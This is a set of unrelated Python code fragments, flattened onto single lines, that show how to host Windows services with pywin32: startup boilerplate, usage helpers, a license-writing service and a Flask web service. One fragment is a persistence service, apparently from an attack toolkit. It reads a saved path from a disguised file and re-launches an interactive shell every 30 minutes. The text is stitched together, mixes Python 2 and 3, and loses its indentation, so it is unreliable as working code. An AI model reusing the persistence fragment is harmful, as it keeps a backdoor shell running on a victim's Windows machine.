def start(self): try: evtsrc_dll = os.path.abspath(servicemanager.__file__) servicemanager.PrepareToHostSingle(self.cls) servicemanager.Initialize(self.cls.__name__, evtsrc_dll) servicemanager.StartServiceCtrlDispatcher() except win32service.error as details: if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT: win32serviceutil.usage()
def servicemain(): if len(sys.argv) == 1: try: evtsrc_dll = os.path.abspath(servicemanager.__file__) servicemanager.PrepareToHostSingle(QUANTAXIS_WebService) servicemanager.Initialize('QUANTAXIS_WebService', evtsrc_dll) servicemanager.StartServiceCtrlDispatcher() except win32service.error as details: if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT: win32serviceutil.usage() else: win32serviceutil.HandleCommandLine(QUANTAXIS_WebService)
def handle_windowsservice(serviceclass): ''' This function handles a Windows service class. It displays the appropriate command line help, and validaes command line arguements. @param serviceclass: a reference to a overridden WindowsService class. ''' if len(sys.argv) == 1: try: import servicemanager, winerror evtsrc_dll = os.path.abspath(servicemanager.__file__) servicemanager.PrepareToHostSingle(serviceclass) servicemanager.Initialize(serviceclass.__name__, evtsrc_dll) servicemanager.StartServiceCtrlDispatcher() except win32service.error, details: if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT: win32serviceutil.usage()
def generic_service_main(cls: Type[WindowsService], name: str) -> None: """ Call this from your command-line entry point to manage a service. - Via inherited functions, enables you to ``install``, ``update``, ``remove``, ``start``, ``stop``, and ``restart`` the service. - Via our additional code, allows you to run the service function directly from the command line in debug mode, using the ``debug`` command. - Run with an invalid command like ``help`` to see help (!). See https://mail.python.org/pipermail/python-win32/2008-April/007299.html Args: cls: class deriving from :class:`WindowsService` name: name of this service """ argc = len(sys.argv) if argc == 1: # noinspection PyUnresolvedReferences try: print("Trying to start service directly...") evtsrc_dll = os.path.abspath(servicemanager.__file__) # noinspection PyUnresolvedReferences servicemanager.PrepareToHostSingle(cls) # <-- sets up the service # noinspection PyUnresolvedReferences servicemanager.Initialize(name, evtsrc_dll) # noinspection PyUnresolvedReferences servicemanager.StartServiceCtrlDispatcher() # noinspection PyUnresolvedReferences except win32service.error as details: print("Failed: {}".format(details)) # print(repr(details.__dict__)) errnum = details.winerror # noinspection PyUnresolvedReferences if errnum == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT: # noinspection PyUnresolvedReferences win32serviceutil.usage() elif argc == 2 and sys.argv[1] == 'debug': s = cls() s.run_debug() else: # noinspection PyUnresolvedReferences win32serviceutil.HandleCommandLine(cls)
def check_start_command_line(): """ If the 'start' command is given, it makes sure that 1. There are at least 4 arguments, and 2. The first argument (workdir) is a valid path. The reason for this is that we want to be sure that the messages will be written to a log so that the service does not die silently. """ # Scan the command line in the same way as win32serviceutil.HandleCommandLine does import getopt long_opts = [ "password="******"username="******"startup=", "perfmonini=", "perfmondll=", "interactive", "wait=" ] try: opts, args = getopt.getopt(sys.argv[1:], "", long_opts) except getopt.error, details: print details win32serviceutil.usage()
def generic_service_main(cls, name: str) -> None: # https://mail.python.org/pipermail/python-win32/2008-April/007299.html argc = len(sys.argv) if argc == 1: try: print("Trying to start service directly...") evtsrc_dll = os.path.abspath(servicemanager.__file__) # noinspection PyUnresolvedReferences servicemanager.PrepareToHostSingle(cls) # <-- sets up the service # noinspection PyUnresolvedReferences servicemanager.Initialize(name, evtsrc_dll) # noinspection PyUnresolvedReferences servicemanager.StartServiceCtrlDispatcher() except win32service.error as details: print("Failed: {}".format(details)) # print(repr(details.__dict__)) errnum = details.winerror if errnum == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT: win32serviceutil.usage() elif argc == 2 and sys.argv[1] == 'debug': s = cls() s.run_debug() else: win32serviceutil.HandleCommandLine(cls)
self.writer(string_key) # 写入License def writer(self, string_key): f=open('E:\License.dat','w') f.write(string_key) f.close() def SvcDoRun(self): while self.run: # 已经运行 self._LicenseExist() time.sleep(2) #推迟调用线程的运行2秒 def SvcStop(self): # 服务已经停止 self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) win32event.SetEvent(self.hWaitStop) self.run = False if __name__=='__main__': if len(sys.argv) == 1: try: evtsrc_dll = os.path.abspath(servicemanager.__file__) servicemanager.PrepareToHostSingle(PythonService) servicemanager.Initialize('PythonService', evtsrc_dll) servicemanager.StartServiceCtrlDispatcher() except win32service.error, details: if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT: win32serviceutil.usage() else: win32serviceutil.HandleCommandLine(PythonService)
fileopen = file("%s\\isjxwqjs" % (homedir_path), "r") for line in fileopen: # pull set-path, this is pulled from interactive shell and written when persistence is called set_path = line.rstrip() # specify filename to execute the SET interactive shell subprocess.Popen('%s' % (set_path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # sleep 30 mins time.sleep(1800) self.ReportServiceStatus(win32service.SERVICE_STOPPED) return if __name__ == '__main__': # f its called with arguments then run if len(sys.argv) == 1: try: evtsrc_dll = os.path.abspath(servicemanager.__file__) servicemanager.PrepareToHostSingle(aservice) servicemanager.Initialize('aservice', evtsrc_dll) servicemanager.StartServiceCtrlDispatcher() except win32service.error, details: if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT: win32serviceutil.usage() else: win32serviceutil.HandleCommandLine(aservice)
def usage(): try: win32serviceutil.usage() except: custom_usage()
# -*- coding:utf-8 -*- import win32serviceutil import win32service import win32event import sys import os #设置编码 reload(sys) sys.setdefaultencoding('utf-8') #windows服务中显示的名字 class zlsService(win32serviceutil.ServiceFramework): _svc_name_ = 'web_movie' ###可以根据自己喜好修改 _svc_display_name_ = 'web_movie' ###可以根据自己喜好修改 _svc_description_ = 'web_movie' ###可以根据自己喜好修改 def __init__(self, args): win32serviceutil.ServiceFramework.__init__(self, args) self.stop_event = win32event.CreateEvent(None, 0, 0, None) self.run = True def SvcDoRun(self): from web_movie import app while True: try: app.run() except: pass def SvcStop(self): self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) win32event.SetEvent(self.stop_event) self.ReportServiceStatus(win32service.SERVICE_STOPPED)
def helpservice(self): print "" win32serviceutil.usage()